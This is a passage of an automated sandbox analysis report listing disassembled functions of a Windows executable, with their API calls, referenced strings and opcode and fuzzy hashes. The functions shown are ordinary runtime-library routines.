Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 620594066fdd09bc23555b06cb731c534d9d0e903a29610f9efb70cb57adf806
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: B9118F36E58A0341F7541128D67537721406F6D3F4F662634EA7ECE6FAEE2CA8818710

Function 00007FF6FB1FA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA706
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA717
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA728

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
Instruction ID: 4ccb9ce30468c37a51903fa91ec71163c5e46ceb78926bf98ca762b83b7ede2f
Opcode Fuzzy Hash: f2276611a630934bbdb354ef1537d91ff3ed6de03a5f5a99dae5237b5b9f36a7
Instruction Fuzzy Hash: 7A113721F5C24342FB58E3259A5557A21A26F9C3B8E084334E83EC66F6FE2DE941C701

Function 00007FF6FB1FA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6FB1FA545
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA564
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA58C
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA59D
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA5AE

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
Instruction ID: 6e4fc18ec32506725c517572023f850b7cb6299b425e65a03e800070ac70ddf2
Opcode Fuzzy Hash: a5817a23bb51f76ee1afbfff857c957b5c6e4c237a472a6b6273a3da914e048f
Instruction Fuzzy Hash: D111F720E6C20742FB68E33559551BA22925F8E378E184734D93ECA2F6FD2DB841CA42

Function 00007FF6FB1F52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F54CC

Strings

verbose, xrefs: 00007FF6FB1F52C0

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: bdfad847e93d5349798945b1985aad539a6d5d686fa60a9bfdd12c3c223e011b
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: 5A91AD32E08A4781E721DE29E45137D3691AB49B9CF884136DAAE863F5FE3CE445C310

Function 00007FF6FB1FEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FF1B7

Part of subcall function 00007FF6FB1F6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F6D69

Strings

UTF-16LEUNICODE, xrefs: 00007FF6FB1FF155
ccs, xrefs: 00007FF6FB1FF0F2
UTF-8, xrefs: 00007FF6FB1FF136

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction ID: 16fcf6c1c2939ae8973adc2449e308ef80cfa3d205bf8e4658ba90451dbd632a
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 1B818B72E0E203C5FB74CF29C15027927A2AB19B4CF558035DA3AD72E9FEADE905D601

Function 00007FF6FB1EC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FB1EC993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6FB1ECA2A
RtlUnwindEx.KERNEL32 ref: 00007FF6FB1ECA84

Strings

csm, xrefs: 00007FF6FB1ECA11

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: 7555ce8033bff93ce848f9201fb72d2c70babcad80ee5b57bb5a117864d3585a
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: D9515F32F196438ADB14CB15E844A7D7791FB88B98F148131EA6987FE4FE79F8818700

Function 00007FF6FB1EE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6FB1EE257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6FB1EE2A3

Strings

MOC, xrefs: 00007FF6FB1EE26B
RCC, xrefs: 00007FF6FB1EE273

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction ID: e1f080a5e38b8d542ba4a18d8ea05712d3fa2e7b27fd4cc32a51703e8e7905ff
Opcode Fuzzy Hash: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction Fuzzy Hash: F8616433D0878685D761DB15E4407AEB7A0FB89B98F044225EBAD87BA5DF7CE194CB00

Function 00007FF6FB1EE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FB1EE5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6FB1EE6B8

Strings

csm, xrefs: 00007FF6FB1EE5F2
csm, xrefs: 00007FF6FB1EE70A

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: a6c22ba9bb68c41f0de174055e8b82e1e5c9fb922441a5d797d154e7415f4d60
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 9E518D33E0824386EBA4CB21D04426E76A1EB5DB98F144135DA6D97FE5EFBCF8508B41

Function 00007FF6FB1E7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF6FB1E324C,?,?,00007FF6FB1E3964), ref: 00007FF6FB1E7642

Strings

%.*s, xrefs: 00007FF6FB1E75FB
\, xrefs: 00007FF6FB1E75A7
%s%c, xrefs: 00007FF6FB1E75B4

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction ID: a68329dc8879b11a9db30ed83c52efd69019cf10e3089e6c2c5d6ba49b7c8718
Opcode Fuzzy Hash: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction Fuzzy Hash: 1F318221E19AC745FB21DB15E8107AE6254EB4CBE8F444231EA7D83BE9FF2CE2458700

Function 00007FF6FB1E2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

MessageBoxW.USER32 ref: 00007FF6FB1E2906
MessageBoxA.USER32 ref: 00007FF6FB1E291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6FB1E290E
Warning, xrefs: 00007FF6FB1E28F7

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: 3ed3cb0239aaeb0ff4cb6b4e2db05f74bcbd9ad01f1ac0e3bf737689f830a1be
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 18118172A28A4681EB20DB10F565BAD3364FB48B88F501135DA6D876A4EF3CE605C740

Function 00007FF6FB1E25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

MessageBoxW.USER32 ref: 00007FF6FB1E2686
MessageBoxA.USER32 ref: 00007FF6FB1E269A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6FB1E268E
Error, xrefs: 00007FF6FB1E2677

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: 36a2b72a220d63366705eaaa16e71de296a558917ac96bff469b69b89cc2150d
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 9F118E72A28A8681EB20DB00F565BAD6364FB4CBC8F901135DA6D876A4EF3CE605C740

Function 00007FF6FB1FB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6FB1FB92F
WriteFile.KERNEL32 ref: 00007FF6FB1FBBF7
WriteFile.KERNEL32 ref: 00007FF6FB1FBC3D
GetLastError.KERNEL32 ref: 00007FF6FB1FBCF3

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction ID: e1affca7c548a8535667676dbf827b4e72c6a21703a0f50ba228eded790927d1
Opcode Fuzzy Hash: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction Fuzzy Hash: C3D1D176F08A8289E721CF69D5402AD37B1FB487D8B144235CE6E97BE9EE38D516C300

Function 00007FF6FB1FEC9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6FB1FED8C
_get_daylight.LIBCMT ref: 00007FF6FB1FED9D
_get_daylight.LIBCMT ref: 00007FF6FB1FEDAE
_isindst.LIBCMT ref: 00007FF6FB1FEE79

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction ID: f31c59562f08633a2d07bf4b1870bca487197d7c11490e07d701de2be24666c6
Opcode Fuzzy Hash: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction Fuzzy Hash: 8A51E573F041138AEB14DF64A9956BD27A2AB5839DF540135DD2ED2AF6EF38A501C700

Function 00007FF6FB1F4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6FB1F4ABF
GetFileInformationByHandle.KERNEL32 ref: 00007FF6FB1F4B21
GetLastError.KERNEL32 ref: 00007FF6FB1F4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FB1F49C4), ref: 00007FF6FB1F4BFE

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction ID: 4ec867d2007e2f41d018b0819f3d7f61bae324759b9f82f4574747d48d87c50b
Opcode Fuzzy Hash: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction Fuzzy Hash: 35516822E086428AFB24DF7194503BD23A1AF4CB9CF149535DE29C76A9EF38D5A1C740

Function 00007FF6FB1E2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6FB1E2064
SetWindowLongPtrW.USER32 ref: 00007FF6FB1E2086
GetWindowLongPtrW.USER32 ref: 00007FF6FB1E20B0
InvalidateRect.USER32 ref: 00007FF6FB1E20D0

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 59bb9a2abd7cb7dc067461ba02fc92d881dd4d05ad8528567b615fd358c1a378
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 1A11C631E0814342FB64EB6AE55827D1291EF8CBC4F949031DA6987FEAED2CF4C18640

Function 00007FF6FB204E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB200A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB200AA3

_get_daylight.LIBCMT ref: 00007FF6FB204F44
_get_daylight.LIBCMT ref: 00007FF6FB204F55

Strings

?, xrefs: 00007FF6FB204ED5

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction ID: 11d8f06991529424cd6897463360c2c90a14e325b5a542a2007728b21feedea8
Opcode Fuzzy Hash: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction Fuzzy Hash: 88412A12A0828345FB249B25D5253795660EF987E4F109235EE7CC6AF5FF3CD541C700

Function 00007FF6FB1F832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F835E

Part of subcall function 00007FF6FB1F9C58: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
Part of subcall function 00007FF6FB1F9C58: GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6FB1EBEC5), ref: 00007FF6FB1F837C

Strings

C:\Users\user\Desktop\e45AiBoV6X.exe, xrefs: 00007FF6FB1F836A

Memory Dump Source

